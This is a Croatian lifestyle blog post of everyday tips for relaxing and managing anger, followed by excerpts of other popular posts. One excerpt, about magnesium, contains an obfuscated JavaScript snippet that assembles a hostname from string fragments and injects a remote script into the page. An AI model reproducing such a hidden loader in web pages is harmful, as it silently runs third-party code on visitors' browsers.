KAKO SE OPUSTITI I PRONAĆI MIR?



Kako se opustiti i pronaći mir?




Ako ste neprestano pod stresom, razdražljivi, ljutiti na cijeli svijet i ako vam svako malo dođe da nešto razbijete ovi trikovi će vam pomoći da se opustite i pronađete mir.





Kad vas uhvati bijes dišite 

Kad vas nešto izbaci iz takta disanje je vjerojatno zadnja stvar na koju pomislite. Ali disanje je nešto što vam može itekako pomoći. Naučite li pravilnu tehniku dubokog disanja to bi vas moglo smiriti u bezbroj napetih situacija. Polako udahnite duboko na nos, zadržite dah nekoliko sekundi, pa jednako polako izdahnite na usta. Ponovite to nekoliko puta dok ne osjetite da se sve u vama smiruje.





Slušajte glazbu 

Složite vlastitu playlistu s pjesmama koje vas odmah razvesele i poprave vam raspoloženje. Znanstveno je dokazano da glazba podiže razinu pozitivne energije i zato radi čuda za naše mentalno zdravlje.





Pokrenite se sportom protiv stresa 

Fizička aktivnost ima brojne dobrobiti za naš organizam. Ona ne utječe samo na vaše tijelo nego i na vaš um. Kad je tijelo u pokretu luči hormone sreće. Iako se možda čini da tjelesna aktivnost iscrpljuje ona zapravo podiže razinu vaše energije i nakon svakog vježbanja osjećat ćete se bolje.





Izjadajte se papiru 

Kada bi najradije nekome sve sasuli u lice uzmite stari papir i olovku. Zapišite sve što vam je na duši i zbog čega ste ljutiti. Papir trpi sve, pa si slobodno dajte oduška i izbacite sve iz sebe čak i one ružne misli.





Maknite se od toksičnih ljudi i situacija 

Ako znate da će razgovor s određenom osobom uvijek završiti žustrom raspravom i svađom, udaljite se od nje. Bolje je biti na distsnci i unaprijed spriječiti sukob.





Preusmjerite svoju pažnju 

Kada vas uhvati nervoza ili bijes umjesto da ostanete zarobljeni u vlastitoj lošoj energiji potražite nešto što će vam zaokupiti misli.





Pronađite uzrok problema 

Ako vas iz takta izbacuju stalno iste stvari pokušajte otkriti zašto je to tako. Obratite pozornost na to kad i gdje se to najčešće događa. Kad znate uzrok lakše ćete pronaći i rješenje.





Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više